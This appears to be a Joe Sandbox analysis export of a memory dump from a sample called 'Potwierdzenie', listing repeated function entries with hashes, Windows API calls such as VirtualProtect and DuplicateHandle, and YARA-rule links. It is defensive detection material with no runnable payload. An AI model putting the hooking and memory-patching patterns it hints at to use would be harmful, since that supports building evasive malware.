Associated: 0000000A.00000002.3026382315.000000000BBF0000.00000040.10000000.00040000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3026603535.000000000BCCD000.00000002.10000000.00040000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3026691127.000000000BCF1000.00000004.10000000.00040000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3026771498.000000000BCF2000.00000008.10000000.00040000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3026853224.000000000BCF7000.00000004.10000000.00040000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3026900303.000000000BCF9000.00000002.10000000.00040000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_bbf0000_Potwierdzenie.jbxd

Similarity

API ID: CurrentThread
String ID:
API String ID: 2882836952-0
Opcode ID: ad69e8fafea402626207292cb504dc73388d9fd5cc7659fc2f67945ce13e8886
Instruction ID: 7bb616e4d1b0ad0151afc96aae32f005fef7318e74a78df6b97db4f6f74fc875
Opcode Fuzzy Hash: ad69e8fafea402626207292cb504dc73388d9fd5cc7659fc2f67945ce13e8886
Instruction Fuzzy Hash: 4E4109B4A10714DFD724DFA6C884A6BB7F8FF44654F00895DEA9A9B300D774EA058B90

Function 0BCAC8A0 Relevance: 6.1, APIs: 4, Instructions: 120COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.3026433315.000000000BBF1000.00000020.10000000.00040000.00000000.sdmp, Offset: 0BBF0000, based on PE: true

Associated: 0000000A.00000002.3026382315.000000000BBF0000.00000040.10000000.00040000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3026603535.000000000BCCD000.00000002.10000000.00040000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3026691127.000000000BCF1000.00000004.10000000.00040000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3026771498.000000000BCF2000.00000008.10000000.00040000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3026853224.000000000BCF7000.00000004.10000000.00040000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3026900303.000000000BCF9000.00000002.10000000.00040000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_bbf0000_Potwierdzenie.jbxd

Similarity

API ID: CurrentThread
String ID:
API String ID: 2882836952-0
Opcode ID: 22b19d487645ecc2da33aa8f402ede317bc109ee767f4befd3dfd5bbeb77bb67
Instruction ID: 7d201900c94140884ebe2459c1134df45481f3ded0da8b30d32b54d0ebdd4493
Opcode Fuzzy Hash: 22b19d487645ecc2da33aa8f402ede317bc109ee767f4befd3dfd5bbeb77bb67
Instruction Fuzzy Hash: EE4128B4A11705AFD720DF65C884A6BB7F8FF48754F00895DE8A69B200D774EA05CFA0

Function 0BC2AFC0 Relevance: 6.1, APIs: 4, Instructions: 120COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.3026433315.000000000BBF1000.00000020.10000000.00040000.00000000.sdmp, Offset: 0BBF0000, based on PE: true

Associated: 0000000A.00000002.3026382315.000000000BBF0000.00000040.10000000.00040000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3026603535.000000000BCCD000.00000002.10000000.00040000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3026691127.000000000BCF1000.00000004.10000000.00040000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3026771498.000000000BCF2000.00000008.10000000.00040000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3026853224.000000000BCF7000.00000004.10000000.00040000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3026900303.000000000BCF9000.00000002.10000000.00040000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_bbf0000_Potwierdzenie.jbxd

Similarity

API ID: CurrentThread
String ID:
API String ID: 2882836952-0
Opcode ID: 6d10eb494e36c590796f6b18801f497b904413051e4bccc1a81afd88154ba7b5
Instruction ID: f48f6854d6a56b588d0ca30755ec49989294ad16992cc1ae82fd8cbb6cb46188
Opcode Fuzzy Hash: 6d10eb494e36c590796f6b18801f497b904413051e4bccc1a81afd88154ba7b5
Instruction Fuzzy Hash: 7D4129B4A10715AFD720CF65C884B6BB7F8FF48754F04895CE9969B210D774EA04CBA0

Function 0BC4EF10 Relevance: 6.1, APIs: 4, Instructions: 120COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.3026433315.000000000BBF1000.00000020.10000000.00040000.00000000.sdmp, Offset: 0BBF0000, based on PE: true

Associated: 0000000A.00000002.3026382315.000000000BBF0000.00000040.10000000.00040000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3026603535.000000000BCCD000.00000002.10000000.00040000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3026691127.000000000BCF1000.00000004.10000000.00040000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3026771498.000000000BCF2000.00000008.10000000.00040000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3026853224.000000000BCF7000.00000004.10000000.00040000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3026900303.000000000BCF9000.00000002.10000000.00040000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_bbf0000_Potwierdzenie.jbxd

Similarity

API ID: CurrentThread
String ID:
API String ID: 2882836952-0
Opcode ID: b7549c0b70cc4beeb7d5db93ca1c3a0f34d0331b075a5525a8b56f6da6a6946e
Instruction ID: 9f12ebead924a287ba4a61afdc13888205eb1203d5c4c5ef23dc732257481b1e
Opcode Fuzzy Hash: b7549c0b70cc4beeb7d5db93ca1c3a0f34d0331b075a5525a8b56f6da6a6946e
Instruction Fuzzy Hash: 7E412AB4A10705AFD720CFA5C884A6BB7F8FF44754F10896DE95ADB210D774EA05CBA0

Function 0BC92E70 Relevance: 6.1, APIs: 4, Instructions: 120COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.3026433315.000000000BBF1000.00000020.10000000.00040000.00000000.sdmp, Offset: 0BBF0000, based on PE: true

Associated: 0000000A.00000002.3026382315.000000000BBF0000.00000040.10000000.00040000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3026603535.000000000BCCD000.00000002.10000000.00040000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3026691127.000000000BCF1000.00000004.10000000.00040000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3026771498.000000000BCF2000.00000008.10000000.00040000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3026853224.000000000BCF7000.00000004.10000000.00040000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3026900303.000000000BCF9000.00000002.10000000.00040000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_bbf0000_Potwierdzenie.jbxd

Similarity

API ID: CurrentThread
String ID:
API String ID: 2882836952-0
Opcode ID: c6c134abd83c0a150d05ff019d83da0f9e125c6614c4860d30eaf74f23ef176b
Instruction ID: c8ffff28a25a85edc23220123495e4a69806a242fa051fc815591706f7d0ba91
Opcode Fuzzy Hash: c6c134abd83c0a150d05ff019d83da0f9e125c6614c4860d30eaf74f23ef176b
Instruction Fuzzy Hash: 5C411AB4910714AFDB20CF65D888B6BB7F8FF44744F10895DE996DB210D774EA058BA0

Function 0BC92D20 Relevance: 6.1, APIs: 4, Instructions: 120COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.3026433315.000000000BBF1000.00000020.10000000.00040000.00000000.sdmp, Offset: 0BBF0000, based on PE: true

Associated: 0000000A.00000002.3026382315.000000000BBF0000.00000040.10000000.00040000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3026603535.000000000BCCD000.00000002.10000000.00040000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3026691127.000000000BCF1000.00000004.10000000.00040000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3026771498.000000000BCF2000.00000008.10000000.00040000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3026853224.000000000BCF7000.00000004.10000000.00040000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3026900303.000000000BCF9000.00000002.10000000.00040000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_bbf0000_Potwierdzenie.jbxd

Similarity

API ID: CurrentThread
String ID:
API String ID: 2882836952-0
Opcode ID: c5e85e8d238d50d5865572693000eb658237ef64882d013690a7947223bb0abf
Instruction ID: b27aca37fb522b7c1879d9c4e324ea4a783088f5a81d69b336e514aab2b3e6ae
Opcode Fuzzy Hash: c5e85e8d238d50d5865572693000eb658237ef64882d013690a7947223bb0abf
Instruction Fuzzy Hash: F9412CB4910704AFDB20CF65D888B6BB7F8FF44755F00895DE9969B210D774EA09CBA0

Function 0BC2E780 Relevance: 6.1, APIs: 4, Instructions: 120COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.3026433315.000000000BBF1000.00000020.10000000.00040000.00000000.sdmp, Offset: 0BBF0000, based on PE: true

Associated: 0000000A.00000002.3026382315.000000000BBF0000.00000040.10000000.00040000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3026603535.000000000BCCD000.00000002.10000000.00040000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3026691127.000000000BCF1000.00000004.10000000.00040000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3026771498.000000000BCF2000.00000008.10000000.00040000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3026853224.000000000BCF7000.00000004.10000000.00040000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3026900303.000000000BCF9000.00000002.10000000.00040000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_bbf0000_Potwierdzenie.jbxd

Similarity

API ID: CurrentThread
String ID:
API String ID: 2882836952-0
Opcode ID: ef7563289a97b8697c7d3597d7fb62e20e90674ebe71d2ecd12192e7a8b0c094
Instruction ID: a55285442fe29d91280105ee7ba5ca069dbb2bcccc549150dca9bc6a6b139775
Opcode Fuzzy Hash: ef7563289a97b8697c7d3597d7fb62e20e90674ebe71d2ecd12192e7a8b0c094
Instruction Fuzzy Hash: 484138B4A107159FD720DF69C884A6BB7F8FF44344F00895CE99A9B210D774EA05CFA0

Function 0BCAC750 Relevance: 6.1, APIs: 4, Instructions: 120COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.3026433315.000000000BBF1000.00000020.10000000.00040000.00000000.sdmp, Offset: 0BBF0000, based on PE: true

Associated: 0000000A.00000002.3026382315.000000000BBF0000.00000040.10000000.00040000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3026603535.000000000BCCD000.00000002.10000000.00040000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3026691127.000000000BCF1000.00000004.10000000.00040000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3026771498.000000000BCF2000.00000008.10000000.00040000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3026853224.000000000BCF7000.00000004.10000000.00040000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3026900303.000000000BCF9000.00000002.10000000.00040000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_bbf0000_Potwierdzenie.jbxd

Similarity

API ID: CurrentThread
String ID:
API String ID: 2882836952-0
Opcode ID: e38fe99e2e18b823f8e8a0b3f4e9bb0bc320564996ff8757ae950d1ba55c11bf
Instruction ID: 0eec3ebdc339321bbbcd0dbc3d8f47e53c79299ab1f489bfb4ac3510113cf661
Opcode Fuzzy Hash: e38fe99e2e18b823f8e8a0b3f4e9bb0bc320564996ff8757ae950d1ba55c11bf
Instruction Fuzzy Hash: 9F4119B4A10705AFD720CFA5C884B6BB7F8FF48758F10896DE9569B210D774EA05CBA0

Function 0BC3E4F0 Relevance: 6.1, APIs: 4, Instructions: 119COMMON

Download Yara Rule

APIs

Part of subcall function 0BC381E0: ReleaseSemaphore.KERNEL32(?,00000001,00000000,?,?,?,?,?,0BC4B20A,?,00000000,?,?,?), ref: 0BC3824D

GetCurrentProcess.KERNEL32(?,00000000,00000000,00000002), ref: 0BC3E5B5
GetCurrentProcess.KERNEL32(?,00000000), ref: 0BC3E5BB
DuplicateHandle.KERNEL32(00000000), ref: 0BC3E5BE
CloseHandle.KERNEL32(00000000), ref: 0BC3E5FE

Memory Dump Source

Source File: 0000000A.00000002.3026433315.000000000BBF1000.00000020.10000000.00040000.00000000.sdmp, Offset: 0BBF0000, based on PE: true

Associated: 0000000A.00000002.3026382315.000000000BBF0000.00000040.10000000.00040000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3026603535.000000000BCCD000.00000002.10000000.00040000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3026691127.000000000BCF1000.00000004.10000000.00040000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3026771498.000000000BCF2000.00000008.10000000.00040000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3026853224.000000000BCF7000.00000004.10000000.00040000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3026900303.000000000BCF9000.00000002.10000000.00040000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_bbf0000_Potwierdzenie.jbxd

Similarity

API ID: CurrentHandleProcess$CloseDuplicateReleaseSemaphore
String ID:
API String ID: 26700224-0
Opcode ID: 58c574bb541268f07ff293dec4b705521b1188a214fde6ef97eaba5bdc67c9e9
Instruction ID: 3f2e4ea093b7eaac51e90a94a2f3154b4af73c0f3dfe63101dea37d4eda54f37
Opcode Fuzzy Hash: 58c574bb541268f07ff293dec4b705521b1188a214fde6ef97eaba5bdc67c9e9
Instruction Fuzzy Hash: BC41377161020AAFCF119F54C888EEE7BB9FF48B14B054129F9059B210D735EA62DFA1

Function 0BCCC2C0 Relevance: 6.1, APIs: 4, Instructions: 109COMMON

Download Yara Rule

APIs

WideCharToMultiByte.KERNEL32(00000000,00000000,0BC72BA7,00000000,00000000,00000000,00000000,00000000,00000000,00000000,?,00000000,?,0BC72BA7,?,00000000), ref: 0BCCC2F4
memset.NTDLL ref: 0BCCC30A
WideCharToMultiByte.KERNEL32(00000000,00000000,0BC72BA7,00000000,00000000,00000000,00000000,00000000,?,0BC72BA7,?,00000000,?,00000000,core,BoxedApp::CBoxedAppCore::My_NtDeviceIoControlFile), ref: 0BCCC320
memcpy.NTDLL(00000000,00000000,00000001,00000000,00000100,?,0BC72BA7,?,00000000,?,00000000,core,BoxedApp::CBoxedAppCore::My_NtDeviceIoControlFile,: input: ",?," doesn't match template \??\<drive>:), ref: 0BCCC3B4

Memory Dump Source

Source File: 0000000A.00000002.3026433315.000000000BBF1000.00000020.10000000.00040000.00000000.sdmp, Offset: 0BBF0000, based on PE: true

Associated: 0000000A.00000002.3026382315.000000000BBF0000.00000040.10000000.00040000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3026603535.000000000BCCD000.00000002.10000000.00040000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3026691127.000000000BCF1000.00000004.10000000.00040000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3026771498.000000000BCF2000.00000008.10000000.00040000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3026853224.000000000BCF7000.00000004.10000000.00040000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3026900303.000000000BCF9000.00000002.10000000.00040000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_bbf0000_Potwierdzenie.jbxd

Similarity

API ID: ByteCharMultiWide$memcpymemset
String ID:
API String ID: 2601654040-0
Opcode ID: 457ab5cdcf7f966edb7b6d337c9b2fe566e7b83eb806b09725f40615244b38c6
Instruction ID: 8f38c8f9a2c445485019bae924569558a361cd0232f7b71b95cc10c06a25a907
Opcode Fuzzy Hash: 457ab5cdcf7f966edb7b6d337c9b2fe566e7b83eb806b09725f40615244b38c6
Instruction Fuzzy Hash: 9A315C72A502107FE7219F64DC82FA7BBA8EF85710F184169F90C9F281D370AD0293E5

Function 0BCC6380 Relevance: 6.1, APIs: 4, Instructions: 108COMMON

Download Yara Rule

APIs

fseek.MSVCRT ref: 0BCC63A3
ftell.MSVCRT ref: 0BCC63A9
fseek.MSVCRT ref: 0BCC63B5

Memory Dump Source

Source File: 0000000A.00000002.3026433315.000000000BBF1000.00000020.10000000.00040000.00000000.sdmp, Offset: 0BBF0000, based on PE: true

Associated: 0000000A.00000002.3026382315.000000000BBF0000.00000040.10000000.00040000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3026603535.000000000BCCD000.00000002.10000000.00040000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3026691127.000000000BCF1000.00000004.10000000.00040000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3026771498.000000000BCF2000.00000008.10000000.00040000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3026853224.000000000BCF7000.00000004.10000000.00040000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3026900303.000000000BCF9000.00000002.10000000.00040000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_bbf0000_Potwierdzenie.jbxd

Similarity

API ID: fseek$ftell
String ID:
API String ID: 1687442226-0
Opcode ID: f7eeb890d01eb16e64dd799fb0ac516b5ff036566479b29531f071ae570784c4
Instruction ID: 54500967be941823f99cd79ec83bd324795fd873d134153cf97613a550c78c7c
Opcode Fuzzy Hash: f7eeb890d01eb16e64dd799fb0ac516b5ff036566479b29531f071ae570784c4
Instruction Fuzzy Hash: 2E31C7B66112046FDB11DF18DC89FABBBECEF54364F05806AF90C8B251D3B5D95187A0

Function 0BCB60C0 Relevance: 6.1, APIs: 4, Instructions: 87COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.3026433315.000000000BBF1000.00000020.10000000.00040000.00000000.sdmp, Offset: 0BBF0000, based on PE: true

Associated: 0000000A.00000002.3026382315.000000000BBF0000.00000040.10000000.00040000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3026603535.000000000BCCD000.00000002.10000000.00040000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3026691127.000000000BCF1000.00000004.10000000.00040000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3026771498.000000000BCF2000.00000008.10000000.00040000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3026853224.000000000BCF7000.00000004.10000000.00040000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3026900303.000000000BCF9000.00000002.10000000.00040000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_bbf0000_Potwierdzenie.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a68273913ebdea433f1f30e06727d54dd0f68401726c465d62bb85dfe53f9b82
Instruction ID: 78f0d9d70c24ea4e25c5aeaae83c794e27d4698e2c574e46bef68e5268afcbf8
Opcode Fuzzy Hash: a68273913ebdea433f1f30e06727d54dd0f68401726c465d62bb85dfe53f9b82
Instruction Fuzzy Hash: 06219672D11214AFCB21DF95C885FEFBB78EF88B54F0140A8DD156B352D770DA008AA1

Function 0BBFE210 Relevance: 6.1, APIs: 2, Strings: 2, Instructions: 81COMMON

Download Yara Rule

APIs

wsprintfA.USER32 ref: 0BBFE27F
memcpy.NTDLL(00000000,00000000,00000001,00000000,00000100), ref: 0BBFE2D9

Strings

0x%p, xrefs: 0BBFE279
INVALID_HANDLE_VALUE, xrefs: 0BBFE238, 0BBFE26B

Memory Dump Source

Source File: 0000000A.00000002.3026433315.000000000BBF1000.00000020.10000000.00040000.00000000.sdmp, Offset: 0BBF0000, based on PE: true

Associated: 0000000A.00000002.3026382315.000000000BBF0000.00000040.10000000.00040000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3026603535.000000000BCCD000.00000002.10000000.00040000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3026691127.000000000BCF1000.00000004.10000000.00040000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3026771498.000000000BCF2000.00000008.10000000.00040000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3026853224.000000000BCF7000.00000004.10000000.00040000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3026900303.000000000BCF9000.00000002.10000000.00040000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_bbf0000_Potwierdzenie.jbxd

Similarity

API ID: memcpywsprintf
String ID: 0x%p$INVALID_HANDLE_VALUE
API String ID: 872564828-260235246
Opcode ID: b8abf796b36d7fcb5e6aa2c185534530e7b0dc0b5c4b31861cbe9b5a4b662a36
Instruction ID: dbc79bd1f08cfd41c81c90e22667c97e30a873df7b594c2ec7cffbb17e753004
Opcode Fuzzy Hash: b8abf796b36d7fcb5e6aa2c185534530e7b0dc0b5c4b31861cbe9b5a4b662a36
Instruction Fuzzy Hash: C821B4B1D1060A6FC720DBA0C885BEBF7EDEF58300F4045BAD65687141E7B0EA499BA1

Function 0BCA0F40 Relevance: 6.1, APIs: 4, Instructions: 78COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.3026433315.000000000BBF1000.00000020.10000000.00040000.00000000.sdmp, Offset: 0BBF0000, based on PE: true

Associated: 0000000A.00000002.3026382315.000000000BBF0000.00000040.10000000.00040000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3026603535.000000000BCCD000.00000002.10000000.00040000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3026691127.000000000BCF1000.00000004.10000000.00040000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3026771498.000000000BCF2000.00000008.10000000.00040000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3026853224.000000000BCF7000.00000004.10000000.00040000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3026900303.000000000BCF9000.00000002.10000000.00040000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_bbf0000_Potwierdzenie.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8c94d5125e029efcfe4568294b93864aa6dbddb5755c5f340e7c6ed09dff4da6
Instruction ID: c602bd7db40068f2fd64382e77857475d66cd5cb8a6465e5821b131252a7ce72
Opcode Fuzzy Hash: 8c94d5125e029efcfe4568294b93864aa6dbddb5755c5f340e7c6ed09dff4da6
Instruction Fuzzy Hash: 912153B5920306AFCB24EFA5CC81DAB77BDBF98698704091CE902A7650EA34FD04D760

Function 0BCBC630 Relevance: 6.0, APIs: 4, Instructions: 34memoryCOMMON

Download Yara Rule

APIs

VirtualProtect.KERNEL32(?,?,00000040,00000000,?,?,?,?,0BBFE6FD,?,?,00000005,?,0BBFF69B), ref: 0BCBC644
VirtualProtect.KERNEL32(?,?,00000000,00000000), ref: 0BCBC660
GetCurrentProcess.KERNEL32(?,?), ref: 0BCBC668
FlushInstructionCache.KERNEL32(00000000), ref: 0BCBC66F

Memory Dump Source

Source File: 0000000A.00000002.3026433315.000000000BBF1000.00000020.10000000.00040000.00000000.sdmp, Offset: 0BBF0000, based on PE: true

Associated: 0000000A.00000002.3026382315.000000000BBF0000.00000040.10000000.00040000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3026603535.000000000BCCD000.00000002.10000000.00040000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3026691127.000000000BCF1000.00000004.10000000.00040000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3026771498.000000000BCF2000.00000008.10000000.00040000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3026853224.000000000BCF7000.00000004.10000000.00040000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3026900303.000000000BCF9000.00000002.10000000.00040000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_bbf0000_Potwierdzenie.jbxd

Similarity

API ID: ProtectVirtual$CacheCurrentFlushInstructionProcess
String ID:
API String ID: 4115577372-0
Opcode ID: 582cd584bc3775c6325c255ae77f009addd416f0882a71b43e78f95fb76e4a41
Instruction ID: a3bd9779187659ef4127e5227e02f45c1be39ad0e1ee8bc0891cf9e6e9d202a7
Opcode Fuzzy Hash: 582cd584bc3775c6325c255ae77f009addd416f0882a71b43e78f95fb76e4a41
Instruction Fuzzy Hash: 01F01CB644010CFFDB019B95EC89EBF77BCFB59655B000069FA06D2100D7369E11ABB1

Function 0BC729E0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 76fileCOMMON

Download Yara Rule

APIs

memcpy.NTDLL(00000000,0BCCD818,00000000,0000000A,00000000,00000000,?,00000000,0BCCD818), ref: 0BC72A20
WriteFile.KERNEL32(00000000,?,?,?,00000000), ref: 0BC72A58

Strings

%ws, xrefs: 0BC72A27

Memory Dump Source

Source File: 0000000A.00000002.3026433315.000000000BBF1000.00000020.10000000.00040000.00000000.sdmp, Offset: 0BBF0000, based on PE: true

Associated: 0000000A.00000002.3026382315.000000000BBF0000.00000040.10000000.00040000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3026603535.000000000BCCD000.00000002.10000000.00040000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3026691127.000000000BCF1000.00000004.10000000.00040000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3026771498.000000000BCF2000.00000008.10000000.00040000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3026853224.000000000BCF7000.00000004.10000000.00040000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3026900303.000000000BCF9000.00000002.10000000.00040000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_bbf0000_Potwierdzenie.jbxd

Similarity

API ID: FileWritememcpy
String ID: %ws
API String ID: 4212128793-1756730030
Opcode ID: 87ba63e4528d71790ce1a774ef0df8c277a96948afb13def6e8874ce807a622e
Instruction ID: 720600ff32b35dea8fd31012f33d63e2bd26d1704e3beaf618b21412b72eef2c
Opcode Fuzzy Hash: 87ba63e4528d71790ce1a774ef0df8c277a96948afb13def6e8874ce807a622e
Instruction Fuzzy Hash: 8821BEB1640205AFEB20EF58CC46F66B7EDEF44700F50446AF946CB240E770EA04CBA0

Function 0BCBE2D0 Relevance: 5.2, APIs: 4, Instructions: 190stringCOMMON

Download Yara Rule

APIs

lstrlenW.KERNEL32(0BCBE71D,00000000,?,?,?,0BCBE71D,?,?,00000000), ref: 0BCBE2DD
memcpy.NTDLL(?,0BCBE71D,00000000,00000000,00000000,?,0BCBE71D,?,?,00000000), ref: 0BCBE3B1
memcpy.NTDLL(00000000,?,?,00000000,?,?,?,?,?,?,0BCBE71D,?,?,00000000), ref: 0BCBE426
memcpy.NTDLL(00000000,00000000,00000000,00000000,00000000,?,?,?,?,?,?,?,?,?,?,0BCBE71D), ref: 0BCBE4AF

Memory Dump Source

Source File: 0000000A.00000002.3026433315.000000000BBF1000.00000020.10000000.00040000.00000000.sdmp, Offset: 0BBF0000, based on PE: true

Associated: 0000000A.00000002.3026382315.000000000BBF0000.00000040.10000000.00040000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3026603535.000000000BCCD000.00000002.10000000.00040000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3026691127.000000000BCF1000.00000004.10000000.00040000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3026771498.000000000BCF2000.00000008.10000000.00040000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3026853224.000000000BCF7000.00000004.10000000.00040000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3026900303.000000000BCF9000.00000002.10000000.00040000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_bbf0000_Potwierdzenie.jbxd

Similarity

API ID: memcpy$lstrlen
String ID:
API String ID: 2927065218-0
Opcode ID: 2d2bc0e2de7e5844d83b820887ca3c406d0f7e8b458fd099643126f231aa3076
Instruction ID: 4af9a148d5b60a79d9acaed976c71db8127316a3c26a73ae717c880213f7cac2
Opcode Fuzzy Hash: 2d2bc0e2de7e5844d83b820887ca3c406d0f7e8b458fd099643126f231aa3076
Instruction Fuzzy Hash: 30510A72A603466FDB14AFB4C846BFFB7A9FF84710F844439D91A87281E770990197D1

Function 0BCBC380 Relevance: 5.2, APIs: 4, Instructions: 169COMMON

Download Yara Rule

APIs

memcpy.NTDLL(?,?,?,0000005C,00000000,?,00000000,?,00000000,?,?), ref: 0BCBC41B
memcpy.NTDLL(00000000,0BCD66A4,00000000,?,?,?,0000005C,00000000,?,00000000,?,00000000,?,?), ref: 0BCBC431
memcpy.NTDLL(?,?,0BCB9247,0BCB9247,00000000,?,00000000,?,00000000,?,00000000,?,?), ref: 0BCBC4B9
memcpy.NTDLL(00000000,?,00000000,?,?,0BCB9247,0BCB9247,00000000,?,00000000,?,00000000,?,00000000,?,?), ref: 0BCBC4CD

Memory Dump Source

Source File: 0000000A.00000002.3026433315.000000000BBF1000.00000020.10000000.00040000.00000000.sdmp, Offset: 0BBF0000, based on PE: true

Associated: 0000000A.00000002.3026382315.000000000BBF0000.00000040.10000000.00040000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3026603535.000000000BCCD000.00000002.10000000.00040000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3026691127.000000000BCF1000.00000004.10000000.00040000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3026771498.000000000BCF2000.00000008.10000000.00040000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3026853224.000000000BCF7000.00000004.10000000.00040000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3026900303.000000000BCF9000.00000002.10000000.00040000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_bbf0000_Potwierdzenie.jbxd

Similarity

API ID: memcpy
String ID:
API String ID: 3510742995-0
Opcode ID: 3073d609bb89e4751a6ff3644e89f32c69915a069c7c99013209cc8fe695dd6b
